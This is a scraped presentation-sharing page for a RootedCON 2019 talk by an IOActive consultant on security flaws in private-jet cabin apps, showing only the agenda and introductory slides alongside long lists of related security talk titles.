04 ccna sv2 instructor_ppt_ch5
04 ccna sv2 instructor_ppt_ch504 ccna sv2 instructor_ppt_ch5
04 ccna sv2 instructor_ppt_ch5
 
[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...
[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...
[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...
 
Super Effective Denial of Service Attacks
Super Effective Denial of Service AttacksSuper Effective Denial of Service Attacks
Super Effective Denial of Service Attacks
 
BSidesAugusta 2015 - How to get into ICS security
BSidesAugusta 2015 - How to get into ICS securityBSidesAugusta 2015 - How to get into ICS security
BSidesAugusta 2015 - How to get into ICS security
 
SCADA hacking industrial-scale fun
SCADA hacking industrial-scale funSCADA hacking industrial-scale fun
SCADA hacking industrial-scale fun
 
side-channel-kevin2600
side-channel-kevin2600side-channel-kevin2600
side-channel-kevin2600
 

Ähnlich wie J. Daniel Martínez - IoP: The Internet of Planes / Hacking millionaires jet cabins [rooted2019]

Drone Surveillance System: The Complete Setup Guide
Drone Surveillance System: The Complete Setup GuideDrone Surveillance System: The Complete Setup Guide
Drone Surveillance System: The Complete Setup GuideFlytBase
 
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on..." Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on...PROIDEA
 
20181116.smart can cable_v2
20181116.smart can cable_v220181116.smart can cable_v2
20181116.smart can cable_v2Mocke Tech
 
Unmanned Drone Based Aerial Pesticide Sprayer
Unmanned Drone Based Aerial Pesticide SprayerUnmanned Drone Based Aerial Pesticide Sprayer
Unmanned Drone Based Aerial Pesticide SprayerMrs.Shanaz Akter
 
Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019
Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019 Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019
Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019 Amazon Web Services
 
Mobile Penetration Testing: Episode III - Attack of the Code
Mobile Penetration Testing: Episode III - Attack of the CodeMobile Penetration Testing: Episode III - Attack of the Code
Mobile Penetration Testing: Episode III - Attack of the CodeNowSecure
 
A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded D...
A Diet of Poisoned Fruit: Designing Implants & OT Payloadsfor ICS Embedded D...A Diet of Poisoned Fruit: Designing Implants & OT Payloadsfor ICS Embedded D...
A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded D...Marina Krotofil
 
Countering Cybersecurity Risk in Today's IoT World
Countering Cybersecurity Risk in Today's IoT WorldCountering Cybersecurity Risk in Today's IoT World
Countering Cybersecurity Risk in Today's IoT WorldBrad Nicholas
 
How Secure Is Your Building Automation System?
How Secure Is Your Building Automation System? How Secure Is Your Building Automation System?
How Secure Is Your Building Automation System? Forescout Technologies Inc
 
The Four Horsemen of Mobile Security
The Four Horsemen of Mobile SecurityThe Four Horsemen of Mobile Security
The Four Horsemen of Mobile SecuritySkycure
 
CoREProfile
CoREProfileCoREProfile
CoREProfile3ahariii
 
Sl virtual apps-131106
Sl virtual apps-131106Sl virtual apps-131106
Sl virtual apps-131106SL Corporation
 
Sacon - IoT Hackfest (Sri Chakradhar K)
Sacon - IoT Hackfest (Sri Chakradhar K)Sacon - IoT Hackfest (Sri Chakradhar K)
Sacon - IoT Hackfest (Sri Chakradhar K)Priyanka Aash
 
Migration to microsoft_azure_with_zscaler
Migration to microsoft_azure_with_zscalerMigration to microsoft_azure_with_zscaler
Migration to microsoft_azure_with_zscalerZscaler
 
Declarative Import with Magento 2 Import Framework (M2IF)
Declarative Import with Magento 2 Import Framework (M2IF)Declarative Import with Magento 2 Import Framework (M2IF)
Declarative Import with Magento 2 Import Framework (M2IF)Tim Wagner
 
UplinQ - qualcomm® smart gateway the home network as a development platform
UplinQ - qualcomm® smart gateway the home network as a development platformUplinQ - qualcomm® smart gateway the home network as a development platform
UplinQ - qualcomm® smart gateway the home network as a development platformSatya Harish
 
New Design Patterns in Microservice Solutions
New Design Patterns in Microservice SolutionsNew Design Patterns in Microservice Solutions
New Design Patterns in Microservice SolutionsMichel Burger
 
Wi-Fi Controlled Car
Wi-Fi Controlled CarWi-Fi Controlled Car
Wi-Fi Controlled CarIRJET Journal
 

Ähnlich wie J. Daniel Martínez - IoP: The Internet of Planes / Hacking millionaires jet cabins [rooted2019] (20)

Drone Surveillance System: The Complete Setup Guide
Drone Surveillance System: The Complete Setup GuideDrone Surveillance System: The Complete Setup Guide
Drone Surveillance System: The Complete Setup Guide
 
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on..." Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
 
Fleet Concerns
Fleet ConcernsFleet Concerns
Fleet Concerns
 
Stork Overview
Stork OverviewStork Overview
Stork Overview
 
20181116.smart can cable_v2
20181116.smart can cable_v220181116.smart can cable_v2
20181116.smart can cable_v2
 
Unmanned Drone Based Aerial Pesticide Sprayer
Unmanned Drone Based Aerial Pesticide SprayerUnmanned Drone Based Aerial Pesticide Sprayer
Unmanned Drone Based Aerial Pesticide Sprayer
 
Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019
Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019 Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019
Innovating FIPS crypto validation in the Cloud - SEP321 - AWS re:Inforce 2019
 
Mobile Penetration Testing: Episode III - Attack of the Code
Mobile Penetration Testing: Episode III - Attack of the CodeMobile Penetration Testing: Episode III - Attack of the Code
Mobile Penetration Testing: Episode III - Attack of the Code
 
A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded D...
A Diet of Poisoned Fruit: Designing Implants & OT Payloadsfor ICS Embedded D...A Diet of Poisoned Fruit: Designing Implants & OT Payloadsfor ICS Embedded D...
A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded D...
 
Countering Cybersecurity Risk in Today's IoT World
Countering Cybersecurity Risk in Today's IoT WorldCountering Cybersecurity Risk in Today's IoT World
Countering Cybersecurity Risk in Today's IoT World
 
How Secure Is Your Building Automation System?
How Secure Is Your Building Automation System? How Secure Is Your Building Automation System?
How Secure Is Your Building Automation System?
 
The Four Horsemen of Mobile Security
The Four Horsemen of Mobile SecurityThe Four Horsemen of Mobile Security
The Four Horsemen of Mobile Security
 
CoREProfile
CoREProfileCoREProfile
CoREProfile
 
Sl virtual apps-131106
Sl virtual apps-131106Sl virtual apps-131106
Sl virtual apps-131106
 
Sacon - IoT Hackfest (Sri Chakradhar K)
Sacon - IoT Hackfest (Sri Chakradhar K)Sacon - IoT Hackfest (Sri Chakradhar K)
Sacon - IoT Hackfest (Sri Chakradhar K)
 
Migration to microsoft_azure_with_zscaler
Migration to microsoft_azure_with_zscalerMigration to microsoft_azure_with_zscaler
Migration to microsoft_azure_with_zscaler
 
Declarative Import with Magento 2 Import Framework (M2IF)
Declarative Import with Magento 2 Import Framework (M2IF)Declarative Import with Magento 2 Import Framework (M2IF)
Declarative Import with Magento 2 Import Framework (M2IF)
 
UplinQ - qualcomm® smart gateway the home network as a development platform
UplinQ - qualcomm® smart gateway the home network as a development platformUplinQ - qualcomm® smart gateway the home network as a development platform
UplinQ - qualcomm® smart gateway the home network as a development platform
 
New Design Patterns in Microservice Solutions
New Design Patterns in Microservice SolutionsNew Design Patterns in Microservice Solutions
New Design Patterns in Microservice Solutions
 
Wi-Fi Controlled Car
Wi-Fi Controlled CarWi-Fi Controlled Car
Wi-Fi Controlled Car
 

Mehr von RootedCON

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRootedCON
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...RootedCON
 
Rooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRootedCON
 
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_RootedCON
 
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...RootedCON
 
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...RootedCON
 
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...RootedCON
 
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguerRooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguerRootedCON
 
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...RootedCON
 
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemyRooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemyRootedCON
 
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...RootedCON
 
Rooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molinaRooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molinaRootedCON
 
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...RootedCON
 
Rooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopezRooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopezRootedCON
 
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valeroRooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valeroRootedCON
 
Rooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jaraRooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jaraRootedCON
 
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...RootedCON
 
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...RootedCON
 
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yusteRooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yusteRootedCON
 
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_moralesRooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_moralesRootedCON
 

Mehr von RootedCON (20)

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
 
Rooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amado
 
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
 
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
 
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
 
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
 
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguerRooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
 
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
 
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemyRooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
 
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
 
Rooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molinaRooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molina
 
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
 
Rooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopezRooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopez
 
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valeroRooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
 
Rooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jaraRooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jara
 
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
 
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
 
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yusteRooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
 
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_moralesRooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
 

Kürzlich hochgeladen

Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessPixlogix Infotech
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilV3cube
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 

Kürzlich hochgeladen (20)

Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of Brazil
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 

J. Daniel Martínez - IoP: The Internet of Planes / Hacking millionaires jet cabins [rooted2019]

  • 2. IoP: Internet Of Planes Hacking Millionaires Jet Cabins
  • 3. 3 Index ©2019 IOActive, Inc. All Rights Reserved. • Who I Am? • Introduction • The Applications • Talk’s Purpose • The Analysis • We are the plane • Vulnerabilities • Fixes • Research Timeline
  • 4. 4 Thanks RootedCON and Congratulations! ©2019 IOActive, Inc. All Rights Reserved.
  • 5. 5 Thanks RootedCON and Congratulations! ©2019 IOActive, Inc. All Rights Reserved. #10yearschallenge
  • 6. 6 Who Am I? ©2019 IOActive, Inc. All Rights Reserved. • J. Daniel Martínez - @dan1t0 • Security Consultant @ioactive • Experiencia: Más años que un hobbit
